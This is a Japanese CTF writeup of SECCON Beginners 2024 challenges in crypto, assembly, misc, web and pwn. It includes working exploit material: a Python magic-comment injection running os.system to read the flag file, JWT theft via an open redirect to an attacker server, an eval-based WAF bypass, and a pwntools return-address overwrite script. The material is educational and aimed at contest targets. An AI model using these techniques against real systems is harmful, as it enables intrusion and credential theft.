🚀

SECCON beginners CTF 2024 writeup

2024/06/24に公開

二人チームで参加して、962チーム中37位でした。何年か参加していて年々順位が少し上がっているのでうれしい限りです。

ということで今回自分が解いた、もしくはタッチした問題の解説をしていきます

Crypto(暗号系)

Safe Prime

import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

暗号の作成コードとncが書かれたテキストファイルが与えられます。
見るとRSA暗号の様ですが、鍵の作成に使用されるqという素数が q = 2p + 1 という条件で作られています。
ここで、 n = p \cdot qq = 2p + 1 を代入すると n = 2p^2 + p となり、 np の式で表せます。
この変形から p の値が二分探索により求められることがわかります。
よってexploitコードは以下のようになります

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e=65537

# 二分探索でpとqを求める
import bisect
class x:
    def __getitem__(self,key):
        return 2*key*key+key
p=bisect.bisect_left(x(),n,hi=n)
q=2*p+1
print(f"p={p},q={q}")
assert p*q==n

from Crypto.Util.number import *

phi = (p-1)*(q-1)
d=inverse(e,phi)
print(f'秘密鍵d = {d}')

# 平文を復元
m = long_to_bytes(pow(c, d, n))
print(m)

実行結果

p=12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393,q=24204436264185577966152241655321586605545908425640405725590304366053454914606936594835740838118227388576760387067687161038760478225414407301065328481868787
秘密鍵d = 39708359129641443307492926100992797066513141179030677891758514628508737985246704498466008928936892308997404004807565975772999777485812695283579245196783778323738791447502633741922324004329254388584281471915351492843056669699641816744092900248208019906808318158844028513688595509549095747037229327819378712257
b'ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}'

math

問題より以下のコードが与えられます

from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
    x,
    p,
    q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2


def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n


assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0

コードを見ると a, b, x という平方数を用いて pq が計算できることがわかります。さらに、出力として a \cdot b が与えられているようです。
最後の assert 分から ab の素因数が一つずつ分かっています。 ab が平方数であることを考えるとその素因数の2乗でも割り切れます。
ここで、 a \cdot b をそれら素因数の二乗で割った値を factordb に投げ込んでみると素因数分解をしてくれました。
素因数の数が十分少なかったので、そこから総当たりで ab を計算し、 x も二分探索で求めます。

use_factors=[3,173,199, 306606827773,35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661,4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169]
n=28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289

def binarySearch(X, target, left, right):
    while True:
        mid = (left + right) // 2
        if X[left] > target:
            return left
        if X[right] <= target:
            return right
        if left == right:
            return left
        if X[mid] > target:
            right = mid - 1
        else:
            left = mid
            right = right - 1
class myclass():
    def __init__(self,a,b):
        self.a=a
        self.b=b
    def __getitem__(self,key):
        return (self.a+key)*(self.b+key)>n

l=len(use_factors)
for i in range(1<<l):
    a=1
    b=1
    for j in range(l):
        if i&(1<<j):
            a*=use_factors[j]**2
        else:
            b*=use_factors[j]**2
    idx=binarySearch(myclass(a, b),0,0,10**700)
    if (a+idx)*(b+idx)==n:
        print("p=",a+idx)
        print("q=",b+idx)
        exit()

後はいつも通りpとqから平文を復元します

reversing

assemble

とても教育的な問題で、言われたとおりにアセンブラを書くだけです。
単純に勉強になったので今回のCTFで一番好きな問題でした。
指定されたサイトにアクセスすると以下のような画面が開きます。

25命令以内で、mov,push,syscall命令を使ってお題をクリアしましょうとのこと

1問目

Please write 0x123 to RAX!
mov命令は代入のようなもので、RAXというレジスタに0x123を代入します。

mov rax, 0x123

この内容を入力してRunをクリックすると二問目が表示されます。

2問目

Challenge 2. Please write 0x123 to RAX and push it on stack!
2問目は0x123をstackにプッシュします。
stackというのはローカル変数の置き場所のことです。
raxのようなレジスタはせいぜい10個しかないのでほとんど値を保存できないのでプログラムはstackという場所に変数を保存しています

mov rax,0x123
push rax

3問目

Challenge 3. Please use syscall to print Hello on stdout!
print("Hello") をしましょうというお題
これは以下のような方針で解きます。

  1. Hello をエンディアンに注意し文字コードを調べてレジスタに配置
  2. write syscallを用いて標準出力にHelloを表示
mov rax, 0x6f6c6c6548
push rax
mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 5
syscall

Helloの文字コードは左から順に0x48, 0x65,0x6c,0x6c,0x6fとなります。逆順に配置し、stackにプッシュします。
後はsyscallを呼ぶ準備ですが、write syscallの定義は以下のようになっています。

システムコール番号(rax) 名前 arg0(rdi) arg1(rsi) arg2(rdx)
1 write unsigned int fd const char *buf size_t count

syscallを呼ぶときはraxにシステムコール番号を入れて、引数を順にrdi,rsi,rdxに入れる必要があります。

rax

システムコール番号である1をセットします

rdi

fdはファイルディスクリプタとなり、標準入力が0,標準出力が1,標準エラー出力が2,その他のファイルはopen system callにより与えられます。今回は標準出力なのでrdiに1をセットします。

rsi

bufへのポインタを渡します。rspというレジスタは常にstackの一番上のポインタを指すため、最後にpushした文字列が入っています。なので、rsiにrspの値をセットします。

rdx

今回はHelloの5文字を出力するため5をセットします。

4問目

Challenge 4. Please read flag.txt file and print it to stdout!
最後の問題です。flag.txtを読み込んで中身を表示します!
今回は3つのsyscallを使用します

  1. open syscallでflag.txtを開く
  2. read syscallでファイルから文字を読み込む
  3. write syscallで読み込んだ文字を標準出力に書き込む

関連するsyscall

システムコール番号(rax) 名前 arg0(rdi) arg1(rsi) arg2(rdx)
0 read unsigned int fd char *buf size_t count
1 write unsigned int fd const char *buf size_t count
2 open const char *filename int flags umode_t mode
戻り値はraxに保存されます。
mov rax, 0x00
push rax
mov rax, 0x7478742e67616c66
push rax

mov rax, 2
mov rdi, rsp
mov rsi, 0
syscall
mov rdi, rax

mov rax, 0
mov rsi, rsp
mov rdx, 52
syscall

mov rax, 1
mov rdi, 1
mov rsi, rsp
mov rdx, 52
syscall

注意点

今回はopen syscallにflag.txtを渡しますが、open syscallは文字列の長さを知らないため、終端文字(\0) を追加する必要があります。
stackというデータ構造は後にpushしたものが上にくるため、0x00,0x7478742e67616c66の順にプッシュすると以下のような状態になります。

文字列は上から読み込まれるので、逆順でプッシュする必要があります。
そして、0をプッシュしていない場合は他の値がstackの下に他のタイミングで使った内容が入っているので、意味不明な文字列が後ろにくっついてしまいます。

クリア!

ここまで正解するとflagが表示されます!うれしかったです

misc

clamre

渡されたファイルの中にflag.ldbというファイルがあり、内容は以下の通りです。

ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

これは、調べてみるとclamscanというウイルススキャン用のコマンドのカスタム定義の様です。
\x63\x74\x66がctfという文字の文字コードに対応しているのでこのファイルに書いてある内容を読み取れればよさそうです。
ChatGPTに質問して文字コード部分を復元、ChatGPTは正規表現のキャプチャの対応付けができていなかったのでそこを自力で修正したら通りました。

commentator

サーバ側で以下のコードが実行されているので、サーバ上にあるflag.txtを読み取れ問う問題です。

python = ""
while True:
    line = input(">>> ").replace("\r", "")
    if "__EOF__" in line:
        python += 'print("thx :)")'
        break
    python += f"# {line}\n"  # comment :)

pyfile = f"/tmp/{uuid.uuid4()}.py"
with open(pyfile, "w") as f:
    f.write(python)

os.system(f"python {pyfile}")
os.remove(pyfile)

コードを読むと自分の入力が、すべてコメントとしてpythonコードとして読み込まれるようです。
1行目もコメントであることを考えると。ファイルの文字コード指定のマジックコメントが書けそうです。
最終的に以下のような内容を入力するとflagを奪取できました

# coding: raw_unicode_escape
\u000aimport os
\u000aos.system("ls")
\u000aos.system("ls ../")
\u000aos.system("cat ../flag-437541b5d9499db505f005890ed38f0e.txt")

__EOF__

coding: raw_unicode_escapeと認識させることで、\u000aを改行と認識させることができ、# \u000aimport os という行が # import osの二行と認識され、任意のコードが実行可能になります。
ここにたどりつくまでにヘブライ語の文字コードなら行けるんじゃないかなど外国語の文字コードを試行錯誤して時間を溶かしてしまいました。

web

woorker

与えられたWebサイトにアクセスしてみる。

ログイン機能

https://wooorker.beginners.seccon.games/login?next=/ というパスでゲストとしてログインすると https://wooorker.beginners.seccon.games/?token=ey... に遷移した。
next=の先を https://example.com などに変更すると外部サイトにも移動できる

flag表示機能

adminのJWTトークンをGETパラメータに指定した状態で、/ にアクセスするとflagが表示できる

botログイン機能

URLをフォームに入力するとボットがAdminとしてログインをしてくれる機能

解法

パブリックなHTTPサーバを立てて、botログイン機能を用いて login?next=自分のサーバ とすると、AdminのJWTトークンがGETパラメータとして自分のサーバのログに保存されるため、そのJWTトークンを使用して / にアクセス

woorker2

与えられたWebサイトにアクセスしてみる。
wooorkerと基本同じだが、今度はGETパラメータではなくアンカーにflagが書かれているようだ。

ログイン機能

https://wooorker.beginners.seccon.games/login?next=/ というパスでゲストとしてログインすると https://wooorker.beginners.seccon.games/#token=ey... に遷移した。
next=の先を https://example.com などに変更すると外部サイトにも移動できる

flag表示機能

adminのJWTトークンをアンカーに指定した状態で、/ にアクセスするとflagが表示できる

botログイン機能

URLをフォームに入力するとボットがAdminとしてログインをしてくれる機能

解法

パブリックなHTTPサーバを立てて、botログイン機能を用いて login?next=自分のサーバ とすると、AdminのJWTトークンがアンカーとして設定された状態でアクセスされるが、HTTPのリクエスト上にはアンカーが表示されない。
そのため、アンカーを読み取って #を削除し、そのパスにリダイレクトするようなjsを含むHTMLを返すことでログにアンカー情報を記録する

flagAlias

問題文にあるWebサーバで以下のようなコードが動いている

import * as flag from "./flag.ts";

function waf(key: string) {
  // Wonderful WAF :)
  const ngWords = [
    "eval",
    "Object",
    "proto",
    "require",
    "Deno",
    "flag",
    "ctf4b",
    "http",
  ];
  for (const word of ngWords) {
    if (key.includes(word)) {
      return "'NG word detected'";
    }
  }
  return key;
}

export async function chall(alias = "`real fl${'a'.repeat(10)}g`") {
  const m: { [key: string]: string } = {
    "wonderful flag": "fake{wonderful_fake_flag}",
    "special flag": "fake{special_fake_flag}",
  };
  try {
    // you can set the flag alias as the key
    const key = await eval(waf(alias));
    m[key] = flag.getFakeFlag();
    return JSON.stringify(Object.entries(m), null, 2);
  } catch (e) {
    return e.toString();
  }
}

const handler = async (request: Request): Promise<Response> => {
  try {
    const body = JSON.parse(await request.text());
    const alias = body?.alias;
    return new Response(await chall(alias), { status: 200 });
  } catch (_) {
    return new Response('{"error": "Internal Server Error"}', { status: 500 });
  }
};

if(Deno.version.deno !== "1.42.0"){
  console.log("Please use deno 1.42.0");
  Deno.exit(1);
}

flagがflag.tsのファイル内のコメントとして記述されている。
このサーバは自分が書いたコードをevalしてくれるが、wafという関数で示されたキーワードを指定できないようだ。

解法

1回目のevalでwafを無効化
2回目のevalで関数名を取得
3回目のevalで関数のコードを表示

waf=(key)=>{return key}
Object.keys(flag)
flag.getRealFlag_yUC2BwCtXEkg.toString()

toStringって関数のコード表示してくれるんですね...

pwn

simpleoverflow

C言語で書かれた以下のようなソースコードがあります。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

read関数にはバッファオーバーフローの脆弱性があるため10文字以上入力するとis_adminが書き換わってしまいます。
aを10文字以上入力してやればよいです。

もうちょっと詳しく

C言語におけるローカル変数はstackに順番に積まれています。
今回の場合は、stackの上から順にbufが10バイト、is_adminが4バイトと並んでいます。
C言語における入力関数 readやscanfは文字列長のチェックをしないため、10バイト以上入力すると後に配置されている変数も書き換わってしまうことがあります。これをバッファオーバーフロー(BOF)と呼びます。

simpleoverwrite

次もC言語で書かれた実行ファイルに対する脆弱性です

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

今度は使われていないwinという関数があり、その関数を呼べばよいようです。
main関数のリターンアドレスをwinのアドレスで書き換えてしまえばよさそうです。細かい配置がどうなってるか上手に計算できないので総当たりをしています。

from pwn import *
import pwn
import ptrlib

chall = ELF("chall")

def exploit(i):
    io = remote("simpleoverwrite.beginners.seccon.games", 9001)
    payload=b"A"*i
    payload += p64(chall.sym["win"])
    io.sendline(payload)
    io.interactive()

for i in range(10,100):
    exploit(i)

もうちょっと詳しく

C言語におけるローカル変数はstackに順番に積まれています。
さらに、関数呼び出し時には関数がどこから呼び出されたかをStackに積んで、あらたにその関数内のローカル変数を積み始めます。そのため、Stackを破壊し、関数がどこから呼び出されたのかという情報を書き換えることで想定されていない関数を呼び出すことができます。

終わりに

今回はいつもよりスコアが良かったのでうれしかったですが、CTFと言えば!のpwnが弱いところを克服したいなと思います(毎回言ってる)

Fusic 技術ブログ

Discussion